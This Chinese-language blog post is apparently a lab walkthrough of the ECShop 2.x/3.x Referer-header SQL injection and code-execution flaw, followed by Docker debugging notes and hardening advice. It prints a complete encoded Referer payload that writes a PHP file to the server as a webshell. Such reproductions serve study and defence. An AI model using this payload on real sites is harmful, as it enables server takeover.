SQL注入
原理
SELECT * FROM SQL_Injection WHERE id=$_GET['a']; 1 1 and 1=1 SELECT * FROM SQL_Injection WHERE name= '$_GET['a']'; boolean_blind boolean_blind' and 'a' = 'a SELECT * FROM SQL_Injection WHERE name= 'boolean_blind' and 'a' = 'a'
ECShop 2.x/3.x SQL注入/任意代码执行漏洞(Docker)分析(CVE-2018-19108)
漏洞背景
ECShop 是一款广泛使用的开源电商系统。在 2.x 和 3.x 版本中,由于对用户输入(特别是 HTTP Referer 头)缺乏有效过滤,结合模板引擎中危险的 /e 修饰符(preg_replace 的 eval 模式),攻击者可构造恶意 payload 实现 SQL 注入 与 任意 PHP 代码执行,最终写入 WebShell 控制服务器。
影响版本:ECShop 2.x、3.x(未打补丁版本)
利用条件:站点启用用户评论或访问统计功能,且未对Referer进行过滤
1. 漏洞成因与注入点分析
漏洞核心在于以下代码片段(位于 /includes/cls_template.php):
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
其中 /e 修饰符会将匹配内容作为 PHP 代码执行。攻击者通过控制 Referer 头,结合 ECShop 的序列化缓存机制,可注入恶意代码。该语句使得 php 能被保存为文件并直接被执行,同时也是 webshell 注入点。
关键点:
_echash为固定值(如554fcae493e564ee0dc75bdf2ebf94ca),可用于构造合法缓存键;Referer值未经转义直接拼接进 SQL 查询,导致 SQL 注入;- 利用
union select注入 payload,触发模板引擎执行任意代码。
2. 构造 WebShell 实现任意代码执行
参考 Seebug 报告,构造如下 payload,将 phpinfo() 写入 1.php:
file_put_contents('1.php','<?php phpinfo(); ?>')
Base64 编码后嵌入 payload:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHBpbmZvKCk7ID8+Jyk='));//}xxx
转换为 16 进制绕过单引号限制,最终构造 Referer 请求头:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:248:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e5044397761484270626d5a764b436b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
使用 Burp Suite Repeater 发送该请求:
Burp repeater 构造 Referer poc

随后访问 http://target/1.php 验证 WebShell 是否写入成功:
访问1.php查看是否返回phpinfo

成功返回 phpinfo() 页面,证明任意代码执行漏洞利用成功。
3. 环境问题与调试经验
问题:Docker 环境中 PHP 容器无法连接 MySQL 容器。
原因:代码中使用 localhost 连接数据库,但在 Docker Compose 网络中,服务应通过服务名(如 mysql)通信。
解决方法:
-
查看容器 IP:
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' mysql -
修改数据库连接配置,将
localhost改为mysql(即 Compose 中的服务名); -
确保
depends_on: mysql已配置,保证启动顺序。
Burp Suite 使用心得:
- 使用 Repeater 模块可快速修改并重放历史请求;
- 内置 Encoder/Decoder 支持 Base64、Hex、URL 等编码,无需依赖外部网站;
- 可保存请求模板,便于批量测试不同 payload。
安全加固建议
- 升级或打补丁:官方已修复该漏洞,建议升级至最新版 ECShop。
- 禁用
/e修饰符:PHP 7.0+ 已移除preg_replace /e,建议升级 PHP 版本。 - 输入过滤:对
Referer、User-Agent等 HTTP 头进行严格校验与转义。 - 关闭危险函数:在
php.ini中禁用assert、eval、file_put_contents等高危函数。 - 最小权限原则:Web 目录禁止写权限,或限制可写目录范围。
参考资料
- Seebug Paper: ECShop 2.x 代码执行漏洞分析
- CVE-2018-19108
- PHP 官方文档:
preg_replace与/e修饰符弃用说明 - OWASP: SQL Injection
Comments
Leave a comment